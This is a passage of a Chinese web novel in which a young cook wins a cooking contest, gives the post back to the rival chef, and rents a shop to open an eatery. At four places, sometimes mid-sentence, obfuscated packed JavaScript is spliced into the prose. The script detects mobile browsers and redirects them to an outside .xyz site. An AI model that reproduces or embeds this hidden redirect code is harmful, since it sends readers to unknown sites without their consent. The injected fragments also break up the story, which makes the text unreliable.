“确实是呢，这两道菜居然是我们平时没吃到过的，真不好猜是谁做的呢！”周文仓也抬头附和道。 “哎，为什么每个人只有一个竹牌子，要是每人有两个就好了，我各投一个。”付仁青说道。 “这本就是两道菜中选一道，如果给你两个竹牌子，那还选什么呀。”周文仓听了付仁青的话，不由地笑出声来。 “先吃饭，食不言寝不语，吃完再说。”崔士忠皱了皱眉头，饭桌上的礼仪这些人都忘了吗。 众人继续低头吃饭，直到吃完饭，都没人站起来去投票，大家都在纠结到底投哪道菜。 “各位学子，用完餐后还请大家投票，谢谢大家。”刘善根见没人动身，开口说道。 “我说，现在吃完饭了，可以讨论一下怎么投票了吧？”周文仓说道。 “我喜欢糖醋里脊。” “我觉得还是韭菜炒螺肉好吃一些。” “是啊，糖醋里脊开头几口还挺好吃的，吃到后面就有些腻了，多亏了这个辣辣的螺肉解腻啊。” “也不能这么说，大家口味不同，喜欢的自然就不一样。” 崔士忠听着同桌几人的议论，心中的秤杆也摇摆不定，不过他内心还是很替顾宛央开心，刘大厨作为御厨后人，厨艺水平自然是大家都认可的，而顾宛央做出来的菜能让大家摇摆不定，不知道选哪一道，那说明顾宛央的厨艺水平至少不比刘大厨差。 终于，有人起身去投票了，刘善根时刻关注着两道菜名后面的罐子，只是没有他预期的那样，两个罐子里的竹牌子数量居然不分上下，他再看了一眼顾宛央，见她气定神闲，仿佛这不是一场比赛，而就是普通的一个午餐一般。 “咦，你选这道啊？” “对对，你怎么跟我选的不一样。” “我喜欢酸甜口味的。” “那不巧了，我喜欢鲜辣口味的。” “我能不能把竹牌子折断一分为二呢。” “当然不可以！” “行了，反正谁留下来对我们来说都是有口福的，从心吧。” 崔士忠这一桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951921|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人也陆续起身去投票了，他依旧坐着没动，选择对于他来说非常困难，每次做选择都要纠结好久，等到人都投完了，就差他一个人了，崔士忠这才站了起来。 投完票的学子们都不肯走，他们要见证最后的结果，到底谁能留下来。 崔士忠磨蹭地走到两个罐子前面，手中的竹牌一度就要投向糖醋排骨这个罐子，但又缩了回来，犹豫了半晌，直到旁边等结果的学子们起哄让他赶紧投，他才一咬牙一跺脚，往韭菜炒螺肉罐子中投了进去。 虽然糖醋里脊是他爱的口味，但螺肉却给了他从未有过的新鲜感，也确实跟那些人所说多亏了这道螺肉，才解了糖醋里脊的甜腻。 随着崔士忠最后一投，所有投票都结束了，最后一个投票的人被邀请来验票，崔士忠在众人的催促下，开始验票。 刘善根看着两个罐子里倒出来的竹牌子相差无几，心脏都跳到嗓子眼了，这个结果是他没预料的。 崔士忠认真地数着竹牌子，最后的结果是韭菜炒螺肉以一票险胜糖醋里脊。 刘善根在听到这个结果的时候，脸色煞白，小桃却是开心地跳了起来，顾宛央及时拉住了小桃，摇摇头眼神示意她低调。 学子们一个个都是人精，见刘大厨一副蔫样子，又见小桃这么开心，自然知道是顾宛央赢了。 原本站刘大厨队的那些人都有些失落，而希望顾宛央留下来的人却是开心雀跃。 “小丫头，你赢了，我技不如人，说到做到！尹多，我们走。”刘善根挤出一句话来。 尹多垂头丧气地打算跟着刘善根离开，心里暗自埋怨师傅太冲动了。 看着刘善根和尹多的背影往外走，小桃诧异地看了看顾宛央，宛央姐要留下来了吗？只是顾宛央没开口，她也只能把嘴巴闭的紧紧的，反正她跟着宛央姐走，她去哪自己就去哪。 那些希望刘善根留下来的学子们，都围了过来，跟刘大厨打招呼告别。 当刘善根的脚步要跨出膳堂的那一刻，顾宛央清了清嗓子，脆生说道：“刘大厨，请留步。” 刘善根顿了顿身子，却没回头，一只脚毅然跨过门槛，直到顾宛央继续说道：“刘大厨，我不愿留在文庙公厨做事，你请回来吧。” “什么！” “顾姑娘说什么呢？” “她不是赢了吗？怎么不愿留下呢？” “是啊，这是怎么回事啊。” 刘善根却是浑身一颤，他缓缓转过身来，不可思议地说道：“你说的可当真？” 顾宛央莞尔一笑，朗声说道：“千真万确。” “可是我们的赌约是谁赢了谁留下啊！”刘善根仿佛看到了希望，开口说道。 “我只是接受你厨艺的挑战，并没跟你赌什么，谁赢谁留下只是你自己说的而已，我从未当成事赌约。”顾宛央说道。 刘善根仔细回想那天顾宛央的话，确实只是答应了比试厨艺而已，他那张原本已经暗沉下去的脸上重新又燃起了希望。 45. 第 45 章 “可，可是为什么文庙公厨这么好的差事，你却不愿意做？”刘善根有些不敢相信。 “这可能对于你来说是最好的选择，但对我来说并不是。”顾宛央说道。 确实如此，刘善根听了顾宛央的话，心中暗想，他限于家训只能找官家的差事，所以这份工对他来说非常重要，否则以他的脾性，也不至于被顾宛央一喊就回来了。 “顾姑娘，你怎么就不愿意留下来了呢？” “是啊，你都赢了比赛。” “我们喜欢吃你做的菜啊。” “哎，顾姑娘要离开了，太可惜了。” 刘善根此时听着学子们挽留顾宛央的话，心中已经不像昨天那般难受了，他在后厨见过顾宛央做菜的过程，再加上做出来的菜品色相俱全，虽还没品尝但相信味道肯定是不错的。 百闻不如一见，刘善根对于顾宛央已经放下了成见，再也不觉得她是个黄毛丫头，怎么能跟自己这个御厨后人来比。 “大家听我说，虽然我不在文庙公厨做饭了，但我每天会在西市集摆摊卖早点，或许过些日子，我会盘个铺子开个小食肆，若是诸位还想吃我做的菜，可以光顾小店来捧场的。”顾宛央笑道，正好在这里打个广告，毕竟酒香也怕巷子深，事先攒一波食客，等到小店真开起来，就不怕没生意了。 “真的吗？顾姑娘要开食肆？” “那可太好了啊！” “有口福了，有口福了。” “顾姑娘早点开食肆呀，早点吃的不过瘾，想吃你炒的菜。” “对，什么时候开？” “开了一定要来文庙告诉我们一声啊，我们定去捧场。” 顾宛央笑眯眯地听着学子们的话，看样子离开这里就得去找铺子去了，现在攒下来的钱应该够租一个小铺子了。 “顾姑娘，你真的要开食肆了吗？”崔士忠问道。 “是的，我又没有祖训不能开食肆。”顾宛央笑着看向刘善根，继续说道：“刘大厨，今日宛央险胜，但我志不在于此，还请你继续担任文庙大厨。” 刘善根早已为自己的好胜心而感到羞愧，听到顾宛央如此一说，更是拱手作揖行礼道：“多谢顾姑娘大度，是我太自视过高了。” 顾宛央见刘善根行了大礼，忙还礼道：“刘大厨不必如此，宛央本就是暂代而已，这些学子们还是很喜欢你做的菜的。” “对啊，刘大厨，你要是能留下来那可就太好了。” “刘大厨，今日糖醋里脊非常好吃，下次有机会再做啊。” “刘大厨，家里情况怎么样？没事吧？” “你可不能走啊，刘大厨。” 那些原本就希望刘善根留下来的学子们纷纷开口挽留，就连本来希望顾宛央留下的学子也开口问候起来，顾宛央是铁定要离开的了，不如还是让刘大厨留下，至少是他们一致认可的厨师，万一刘大厨因为面子原因也走了，那他们怎么办！ 刘善根原本就是个率直性子，平时情绪也是外露不肯有半点弯弯绕绕的，见大家这么希望自己留下，顿时眼眶有些泛红。 顾宛央见刘善根如此，心中不由感慨都人到中年了，还是那么情绪外露，原来什么样的人收什么样的徒弟，还是有道理的，想着她又看向尹多，果然尹多早就在抹眼泪了，这师徒俩真的是！ “好了，刘大厨不会走了，你们放心吧，赶紧去上课，晚了夫子又要骂人了。”顾宛央把还在膳堂不肯走的学子们给劝了出去。 “宛央，你若是找好了铺子记得一定要告诉我啊。”崔士忠磨磨蹭蹭地挪到顾宛央的面前说道。 “放心，等我铺子开张前，一定来告诉大家。”顾宛央笑着点头，这么多潜在客户呢，她是不会忘记的。 送走学子们，顾宛央转身说道：“我们午饭还没吃呢，一起吃点？” “好，吃，正想尝尝顾姑娘的手艺呢。”刘善根说道，经过这件事情，他已经彻底摆正了心态，山外有山，人外有人，与其愤懑嫉妒，不如学习吸收。 话音刚落，小桃和尹多就欢快地盛起饭菜来，他俩已经垂涎好久这两道菜了。 顾宛央知道今天中午会晚回小院，所以出来前就给李瑾修安排好了午餐，所以这会也不急着回去，正好可以尝尝刘大厨做的糖醋里脊，抛开刘善根昨日对自己的那番态度来讲，御厨后人的厨艺是她想要相互交流的。 四人围坐在一张桌子上，顾宛央夹起一块糖醋里脊放进嘴里，一口咬下去酸酸酸甜甜的口感就布满了整个口腔，并且咬下去是表皮酥脆的，这个油炸的火候非常不错，顾宛央一边吃一边暗自点头，刘大厨不愧为御厨后人，酥脆表皮的里面是鲜嫩多汁的里脊肉，肉是有底味的，事先腌制过，味道咸淡正好，应该用手反复揉抓过，调料的味道完全渗透进去，使得里脊肉能爆出汁水来。 这一块糖醋里脊吃下去，顾宛央忍不住赞道：“刘大厨，这道菜虽说是家常菜，但能做到这个水平的还真不多，好吃的。” “顾姑娘过奖了。”刘善根得到顾宛央的夸赞，心里还是高兴的，别说是顾宛央这样的同行且厨艺与自己不相上下的人，就算是一个普通的食客说他做的东西好吃，他也会开心的。 刘善根刚刚已经尝过顾宛央做的韭菜炒螺肉，说实话，他吃进嘴里的一刹那，就知道自己这一票输的确实不冤，田螺作为一道并不常见的菜，也就这段时间才有的吃，平时的做法不过于直接爆炒，用来下酒，但经过顾宛央精细地加工后，变得咸鲜香辣，有螺肉的筋道还有韭菜的脆爽，两道食材完美地结合在一起，而且非常爽口解腻，尤其在吃过自己做的那道糖醋里脊之后。 “顾姑娘，昨日是我太鲁莽，还望顾姑娘海涵。”刘善根忍不住想为昨天的事情道歉。 “刘大厨不必放在心上，我们也算是不打不相识，以后还有很多不懂之处需要请教呢。”顾宛央谦虚地说道。 “请教不敢，不过是可以相互切磋交流，等你开了食肆我一定过去捧场。”刘善根说道。 “那一言为定。”顾宛央能结识高水平厨艺的同行，也是非常开心， 当顾宛央和小桃回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我当然没地方去了！我要住在文庙！”李瑾修理直气壮地说道，还好上次让郑奎先别找房子了，他转念一想又开口，讨好地说道：“宛央，这次你找住的地方，能不能顺便带上我啊，我只要一间房就可以了，我可以付房租，而且如果你攒的钱还有缺口的话，我可以出钱咱们一起开铺子。” 顾宛央看了他一眼，这家伙是赖上自己了吗，不过他说可以投资一起开，倒是让她认真考虑了一下，现在她攒的钱确实紧巴巴的，带着他也不是不可以，可以缺多少就让他投多少，反正自己要占大头就行，这个小店要自己完全说了算的。 “行吧，明天我就去找铺子，最好是那种前面是铺子，后院可以住人的房子，这样的话，我们就省了每天来回铺子的时间，也方便做生意。”顾宛央想了想说道，她其实在脑海中早就有打算了，她说的这种房子在齐中县还是不少的，一般来说酒肆、食肆、茶坊这些店铺，大多数都是像她说的那种格局。 “对，这种房子最好了，我同意！”李瑾修一听立马举手赞成，这到时候吃饭就太方便了。 “太好了，我们马上有自己的铺子啦！”小桃说道。 小桃欢快的样子让顾宛央也对未来充满了期待。 46. 第 46 章 第二天一早，李瑾修就问顾宛央找铺子需不需要帮忙，顾宛央不想麻烦他，况且他也不是本地人，也顶多就是陪着跑，提供不了什么资源，所以一口就拒绝了。 李瑾修也不勉强，只是让她看见合适的铺子就租，别在乎价格，资金的缺口他可以补齐。 顾宛央虽然面上点头，但心中还是有自己的打算，有多大的能力做多大的事情，她知道李瑾修有钱，但又不是她有钱。 见话已说到，李瑾修跟顾宛央打了个招呼，说要外出几天办事，顾宛央也明白他离家那么久肯定还是要回去一趟的，便点头示意自己知道了，这总算是会打完招呼再离开了。 吃过早饭，顾宛央把小桃送到城西郊外，小桃有些不舍地说道：“宛央姐，你什么时候能回家啊？” 看着小桃一向开朗的脸上有着少见的忧愁，顾宛央不禁捏了捏她的圆脸，说道：“放心吧，我肯定会尽快回来的。” “那你开了食肆会带我一起出来吗。”小桃犹豫了一会，终于开口问道。 顾宛央沉吟道：“我是想带你一起的，但最终还得看桂花婶是什么想法，若是她同意的话，那就没问题了。” “真的？那我回去磨我娘去。”小桃得到顾宛央的确定，一下子就开心起来，她把这些天挣的工钱都攒着呢，上次已经托长生叔带回去一大半，这次又攒了跟上次差不多的钱，她打算全都给娘，这么多钱她不信娘不肯让她继续出来挣钱。 把小桃送走，顾宛央一刻不停地就去了陈大娘家里。 顾宛央听鲁夫人提起过陈大娘家有铺子往外租，她是想问问陈大娘是否有空的铺子，租熟人的总比陌生人的要好。 “宛央，你来啦，快进来坐。”陈大爷给顾宛央开的门，见是她来了，喜出望外地赶紧开门让她进来。 “是宛央吧，快来快来，我做了花生酥，来吃。”陈大娘站起来就去拿吃的。 顾宛央每次来陈大娘这里，总是感觉到特别亲切，就好像是回家一样，她笑着说道：“好啊，我尝尝。” 陈大娘做的花生酥虽然谈不上特别好吃，但吃在嘴里却是很舒服，就像是自己家里做的吃食，虽然口味不怎么好但吃着安心。 陈大娘看着顾宛央吃自己做的点心，脸上浮现出慈祥的笑容。 “宛央，慢点吃，别噎着。”陈大爷给顾宛央泡了一杯茶，继续说道：“你在文庙的差事是不是快结束了？” 顾宛央把嘴里的花生酥咽下，喝了一口茶，答道：“昨天就结束了。” “啊？这么快？那你是要回村里去了吗？”陈大娘听了，急忙问道。 “不呢，陈大爷、陈大娘，今天过来也是为了这事，可能需要你们的帮忙。”顾宛央笑道，既然他们问了，那正好说起。 “什么事情？你尽管说。”陈大爷说道。 “原本我是打算今天就回家去的，但现在决定先不回去了，我想在城里租个铺子开食肆。”顾宛央说道。 陈大爷和陈大娘对视一眼，这一眼里有喜悦，原本担心顾宛央回家去了，以后见面就不方便了，现在她说要在城里开铺子，那岂不是还跟原来一样可以经常见面。 “我听鲁夫人说，你们有几个铺子是往外租的，所以先来问问看，有没有空余的铺子可以租给我？我在城里人生地不熟的，所以想先来问问大爷和大娘。”顾宛央说道。 “原来是这样啊，虽然我们的铺子都已经租出去了，但你先别急，我们认识一个靠谱的房牙，我们的铺子都是通过他租出去的，可以介绍给你认识，他手上铺子房子多，肯定有合适的。”陈大爷说道。 “那可就太好了，我也是想着就算大爷大娘的铺子都租出去了，肯定还是比我有办法的，所以厚着脸皮第一个就来问你们了。”顾宛央也舒了一口气，如果没有靠谱房牙，指不定就被骗了去。 “对，对，以后有什么事情，就尽管来找我们，毕竟我们在这里住的时间比你长多了，认识的人也多，别怕麻烦我们，我们就喜欢被你麻烦。”陈大娘忙不迭地说道，顾宛央只要一来，她就很欢喜，最好能多来来。 “宛央，你若是着急的话，等吃过午饭我便同你一起去找房牙。”陈大爷也是个急性子，他想着早些帮顾宛央安定下来。 “是啊，难得你今天不用上工，宛央你就留下来吃午饭，我去炒两个小菜，我们一起吃。”陈大娘也站起来说道。 “大娘，有我这个当厨子的在，怎么能让你做饭呢，要是不嫌弃，我给你们做饭吃。”顾宛央忙站起来拉着陈大娘的手说道，她这么久了也没给两位老人做过饭吃，实在是她一日三餐都得给别人做饭，每次来都是上午或者下午的，还是得他们做好了点心给她吃。 “说哪里话，我们怎么会嫌弃你的，能吃到文庙大厨给我做的饭，我们高兴还来不及呢。”陈大爷喜出望外地说道。 “只是，我没有备菜过来，就着你们厨房有什么我就做什么吧。”顾宛央笑着说道。 “我早上有出去买菜，虽然不多，但也足够我们三人吃了。”陈大娘说道：“来，宛央，跟我一起到厨房。” 顾宛央跟着陈大娘进了厨房，陈家两位老人都是爱干净的，厨房收拾得整整齐齐干干净净，平日里两个吃的也不多，东西也摆放的很少。 “你瞧，今天这个荠菜多新鲜，说是刚刚挖出来的，我就称了点回来打算做荠菜豆腐羹吃，还割了一块肉回来，灶台上吊着的腊肉香肠也都是可以吃的，柜子里还有木耳、黄花菜这些干活，你看着做。”陈大娘把整个厨房都给顾宛央介绍了一遍。 顾宛央边点头边想厨房东西还挺齐全的，随便炒炒都可以做出好几道菜来。 “放心吧，大娘，你只管歇着，等着吃饭就好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960720|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”顾宛央把想留下来帮忙的陈大娘劝了出去，炒两三个小菜而已，很快就好。 陈大娘慈爱地看着顾宛央，仿佛透过她又看见了自己那个小闺女一样，她听话地从厨房走了出去，等着吃顾宛央做的饭。 荠菜豆腐羹、木须肉、水蒸蛋，这三个菜差不多了，这对于老人家的牙口来说也是很友好的。 顾宛央先打了两个鸡蛋到碗中，用筷子快速搅拌打散，加盐加水和米饭一起上锅蒸上，接着便把木耳干和黄花菜干放入盆中浸泡，然后继续又打散了一个鸡蛋放旁边，作为木须肉的食材。 荠菜很新鲜也很嫩，只要将根部和少许坏叶子摘除就好，摘完菜就直接在水中清洗干净，捞出来备用。 新鲜的肉大部分切成片，再切一小部分肉丝，然后把青瓜也切成片放置一旁备用。等到食材以及配料都准备好后，开始烧火炒菜。 火旺油热之后，将切好的肉丝放入锅中煸炒，等肉丝变色后，再将洗好的荠菜放进去翻炒，等荠菜炒蔫后，迅速加水没过食材，水开后将嫩豆腐切成小块下入锅中，只放入盐调味即可，等到水再次煮开后，荠菜豆腐羹便做好了。 将锅稍微清洗一下，便接着炒第二道菜木须肉，起锅烧油先将鸡蛋液倒进去，嫩黄的鸡蛋液和高温油相融合，很快便散发出煎蛋独有的香味，两面煎至金黄后划散盛出备用。 就着锅里的底油，把蒜片和少许小米椒放入锅中爆香，再将准备好的肉片倒入锅中煸炒，肉片变色后将青瓜、木耳、黄花菜一起倒入，混合翻炒，间隙中再加入盐和少许酱油。 顾宛央左手颠着锅，锅中的食材在面前翻腾，这几样食材的香气完全融合到一起后，将刚刚煎好的鸡蛋也加入其中，再次不停地翻炒，直至青瓜变成软趴趴的样子，也就差不多可以出锅了。 陈大爷和陈大娘在堂屋早就闻到了厨房的香气，但为了不打扰顾宛央做饭，硬是忍着没去打扰，只是觉得平日里不怎么会饿的肚子，今日怎么居然饿的咕咕叫起来。 荠菜豆腐羹和木须肉已经做完，灶上的米饭和蒸蛋也可以出锅了，顾宛央端着菜就走了出来。 看着堂屋桌上摆放的三道菜，陈大爷和陈大娘不由地舔了舔嘴唇，这菜色太漂亮了，荠菜豆腐羹里的荠菜是翠绿色的，再配上白色的豆腐，让人看着就垂涎欲滴。 木须肉的配色更加丰富，绿色的青瓜、黄色的鸡蛋、黑色的木耳、棕色的黄花菜还有隐约可见的几颗红色小米椒，无一不是让人想大吃一口。 再看蒸蛋，面上光滑无气泡，嫩的能滴出水来，再滴上了一些酱油，诱人的香味直沁人心脾。 果然是可以做文庙公厨大厨的人，做出来的菜就是不一样，看着都要流口水了。 “大爷，大娘，饭来了，可以吃饭了。”顾宛央端着米饭走了出来，看着两位老人盯着菜发呆，不由地笑了。 47. 第 47 章 陈大爷和陈大娘赶忙接过米饭，都不说话了，直接开吃。 两人不约而同地都先舀了一勺荠菜豆腐羹尝了起来，荠菜是时令野菜，这时候味道最鲜美，两人都是爱这口时鲜的人。 滑嫩的豆腐滑入口中一抿即化，但鲜香的味道却在口腔中久久不散去，荠菜的鲜美完全与豆腐相融合，鲜嫩的荠菜没有一丝渣，相较于荠菜和豆腐，肉丝仿佛成了陪衬。 再喝一口汤，天然的鲜味让两人好吃地眯起了眼，果然是能做文庙大厨的，烧出来的味道比自己烧的好多了。 陈大娘忍不住询问顾宛央荠菜豆腐羹的做法，顾宛央一点都没保留，详细地告诉她做法，陈大娘讶然道：“咦，都是差不多的做法呀，为何你做的就是比我好吃呢？” 顾宛央笑了笑，中餐不似西餐，西餐的食材和配料以及烹饪时间都有严格的标准，所以才能标准化，而中餐完全取决于厨师的手艺。 小到调味料大到食材，无一不是盐少许、料酒少许、排骨一斤，这种一斤两斤的也不是整整好的整数，而是大概差不多的份量，那就得靠厨师的水平了。 一般来说同样一道菜分两个不同的人来烧，那味道肯定是不一样的，否则怎么会有那么多人想念妈妈做的味道呢！ “若是大娘爱吃我做的菜，下次我再给你做。”顾宛央并未解释太多，只是笑着说道，与其讲大道理，还不如做点实实在在的事情。 “好，好。”陈大娘吃到好吃的食物，又听到顾宛央会再做给她吃，满心欢喜地点头说道。 陈大娘低头继续吃饭，木须肉是她没吃过的做法，没想到这么多食材炒在一起居然很好吃啊。 顾宛央将木须肉的做法也一一告诉了陈大娘，包括桌上那道蒸蛋的做法，也都说了出来。 三人吃完午饭，顾宛央想帮着收拾碗筷，被陈大娘推出厨房，催着陈大爷带着顾宛央快点去找铺子。 房牙所在的觅宅铺离陈大爷家并不远，步行一刻钟也就到了。 “哟，陈大爷您来啦？”两人刚进铺子，就见一个二十多岁的小伙子迎了出来，热情地对着陈大爷打招呼。 “鸿荣，我来找你有事。”陈大爷见到他，忙说道。 “什么事啊？我记得您那几间铺子还在租期啊？怎么？有人要退租了？”杨鸿荣眼前一亮，若是有人退租，陈大爷要重新找租客的话，他又可以赚一笔居间费。 “不是不是。”陈大爷赶紧摆手道：“我那几间铺子还挺稳定，多亏了你找的租客，今天是要帮这位姑娘找间铺子。” 杨鸿荣这才发现陈大爷身后站着的顾宛央，忙拱手说道：“哟，这位姑娘要找什么铺子，快，里面请。” “这是帮我租房子的房牙杨鸿荣，人很靠谱，我们进去再说。”陈大爷对顾宛央说道。 顾宛央点点头，这人看上去很是机灵，还挺适合做中间商这一行的。 一跨进觅宅铺，顾宛央有些意料之外，里面人还不少，很大的一间大堂，隔成了一间一间的小隔间，每间都有房主在里面坐着，带着自家的房契和房屋构造图，等着租客或者买家上门询问。 原来不管在什么年代，人们总是对房子有莫名的向往，赚了钱也是要先置办宅子，安居乐业。 “左边这一排都是卖房子铺子的，右边这一排都是租的，这些都是自己有时间过来坐摊的房主，还有很多没时间过来的，就会委托我们这些房牙帮着打理，就像陈大爷的那几间铺子，就是都交由我打理的。”杨鸿荣忙不迭地介绍起来。 “那我先去租的那排瞧瞧？”顾宛央目光扫向左边那排隔间问道。 “不着急，不着急，咱们先到包间，我先了解一下您的需求，今日来的这些房主我都清楚他们的房子或者铺子是什么情况，还有没来的我也清楚，先知道您的需求了这不就能更好地推荐嘛，省的您白费功夫。”杨鸿荣说道。 顾宛央点点头，确实如此可以省事省时间，房牙不就是联系房主和租客的中间人嘛，自然他是最了解情况的。 陈大爷和顾宛央被杨鸿荣请进了靠里的包间，相比于大堂的热闹，包间显得安静了许多，杨鸿荣吩咐伙计倒了两杯茶进来，顾宛央不禁暗想这服务做的还挺到位。 “姑娘贵姓？”杨鸿荣问道。 “免贵姓顾。”顾宛央答道。 “顾姑娘，不瞒您说，我在这觅宅铺干了也近十年了，这齐中县的各家房子和铺子我都了如指掌，您先说说您的要求吧。”杨鸿荣先自夸了一番，接着便是问顾宛央了解情况。 顾宛央也不多说废话，陈大爷能信得过的人，人品和能力自然没的说，她也不必像跟陌生人那样先拉扯一番，显得自己不好欺负，她直接开口道：“我想租个铺子开小食肆，最好是前面是铺子，后面是宅子的那种格局，因银子不多，所以不需要太大的，铺子能摆下五六张桌子，宅子能有两间屋子可住人即可。” 杨鸿荣一边听着一边点头，这姑娘看着年纪不大，但思路清楚条理清晰，表达能力也强，短短几句话就把自己的需求说的明明白白。 “宛央，若是只租铺子，住到我家来你看妥不妥？我家虽然不是很大，但空余了好几间房间呢，铺子和宅子连在一起的不多，而且肯定比只租铺子要贵。”陈大爷忍不住插嘴道，若是顾宛央能住进家里，那也不用天天盼着她来。 “陈大爷，不用了，我开食肆定是早出晚归的，而且还需要有同住的人，若是住到你家里，就太麻烦了。”顾宛央婉拒道，她不想太过打扰两位老人，况且若是能租到铺子和宅子在一起的房子，那就省事多了。 “对对，还是住在铺子后面方便，万一铺子里有啥事情的，也好立马照应。”杨鸿荣赶紧附和，光是租铺子那可比铺子和宅子在一起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967262|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要便宜不少，那他的居间费赚的也就少了。 “那行吧，鸿荣，麻烦你帮着多看看，有没有合适的铺子，最好在城中心一点的位置，然后便宜一些的。”陈大爷也没有强求，这么多年来他都顺其自然惯了的，不然日子还真不好过。 杨鸿荣是个机灵人，他通过这短短几句话，便知道陈大爷跟顾宛央的关系不错，看样子很想让她离自己不要太远，于是快速在脑中过了一遍现在在租的铺子，开口说道：“放心吧陈大爷，我记得在你家附近就有一个这样的铺子在出租，你们先稍等，我去看一下还在不在。” “真的啊？就在我家附近吗？”陈大爷惊喜地问道，若是能在自家附近那是再好不过了，来往就方便多了。 “对，走过去比到我这里还近呢。”杨鸿荣站起身来边说边去看资料，希望没有被租走，若是没被租走，那这次成交的概率将会大大增加。 没等多久，杨鸿荣便拿着铺子的构造图走了进来，说道：“万幸，还没被租走。” “顾姑娘，陈大爷，你们瞧，这不就是正符合你们的要求吗，铺子在前头，宅子在后头，就是比你要求的稍微大一些，看这样子能摆下七八张桌子，后宅也有个三间屋子，当然就是租金要比你要求的高一些。”杨鸿荣说道。 顾宛央接过图纸，仔细端详起来，确实如杨鸿荣所说，这个铺子完全符合自己的要求，她最喜欢的是后宅跟铺子中间有个小院子连接，而不是直接铺子后面就是宅子，这样的话，相当于有个小院子相隔，外面的人是不能直接进入后宅的。 至于租金，她算了算，确实比预算高了一些，不过若是让李瑾修投一点钱，那也没超出预算太多的，他顶多能占个10%的股，属于小股东。 “宛央，你若是银子不够，大爷这里有。”陈大爷也很喜欢这个铺子，离自己家真的很近，在城中心的位置。 “不不，陈大爷，不用不用。”顾宛央连忙拒绝，老两口养老的钱，她是不会借用的。 “若是顾姑娘真心想租，我可以跟房主再去商量一下，看能不能降些租金。”杨鸿荣极力想促成这笔生意，开口说道。 顾宛央自然知道这租金是可以谈的，房牙报出来的租金绝对是有水分的，她莞尔一笑道：“那就麻烦你了，不知何时会有消息？” “这样吧，看你们也比较着急，我现在就去找房主，您二位在此稍等我片刻。”杨鸿荣说道。 顾宛央点点头，她反正也没事做，若是今日能谈妥，那可就太效率了。 果然，不出两刻钟，杨鸿荣便带着房主回来了。 房主也算是个好说话的人，在杨鸿荣极力的促成下，顾宛央终于租下来了这个铺子，因为铺子现在是空关着的，房主连钥匙都交给了顾宛央。 顾宛央拿着铺子的钥匙，不由干劲十足，万事只要行动起来，那必定会有结果的！ 48. 第 48 章 新租下来的这间铺子原先也是做食肆生意的，这也是顾宛央一眼就相中的原因之一，因为就不需要太大的改造，很多东西都能用，只要将铺子刷个墙，厨房翻新一下，再把桌椅板凳和一些锅碗瓢盆购置一下即可。 顾宛央所有的钱都用来付租金，她去找了徐工师请他帮忙找工匠，所幸有他担保，费用可以完工了再结算，可以等到李瑾修回来了。 铺子很快就开工改造起来，李瑾修回来的时候，进度已经进行了一大半。 顾宛央指着正在翻新的铺子说道：“怎么样！不错吧？” 李瑾修里里外外参观了一遍，竖着大拇指说道：“非常不错！” 见他情绪价值提供地非常到位，顾宛央不由笑了出来，她明白这种铺子和宅子对于李瑾修来说，平常都是看不上的，但他还是能配合着夸赞，虽然夸得有些夸张，但也难为他了。 李瑾修回来了银子也就到位了，跟李瑾修商量了他出资的金额和比例以及每年的分红，李瑾修自然是没有异议的，顾宛央为了郑重起见，草拟了协议书让他签字，李瑾修笑眯眯地随着她折腾，该签字签字，该按手印按手印，一套流程下来，两人便结为了合作伙伴。 既然是合伙人了，李瑾修对于铺子的事情立马非常上心，陪着顾宛央采购各种用品，还出谋划策对铺子进行各种装饰，不得不说他的审美倒是还挺好的，小小的铺子被他装饰了一番，还颇为雅致有格调，地方虽小但却舒适温馨。 忙忙碌碌好些日子，铺子终于完工了，顾宛央打算回城西村一趟，一来把自己常用物品搬过来，二来问问小桃是否能跟着自己开店，若是桂花婶不允许，还得想办法再去找个人帮忙。 李瑾修听得顾宛央要回村搬家，转身就租了一辆马车，顾宛央看着眼前这辆豪华大马车，无奈地说道：“你这太奢侈了吧，租这么大的马车做什么？” “我要跟你一起回村！”李瑾修理直气壮地叉腰：“况且你还要搬家嘛，租小了放不下咋办。” 顾宛央无语：“我那点东西，根本用不上马车嘛，我推个这小推车就搞定了。” “但我买的这些东西，你那小推车可装不下啊。”李瑾修把马车帘子掀开来无辜地说道。 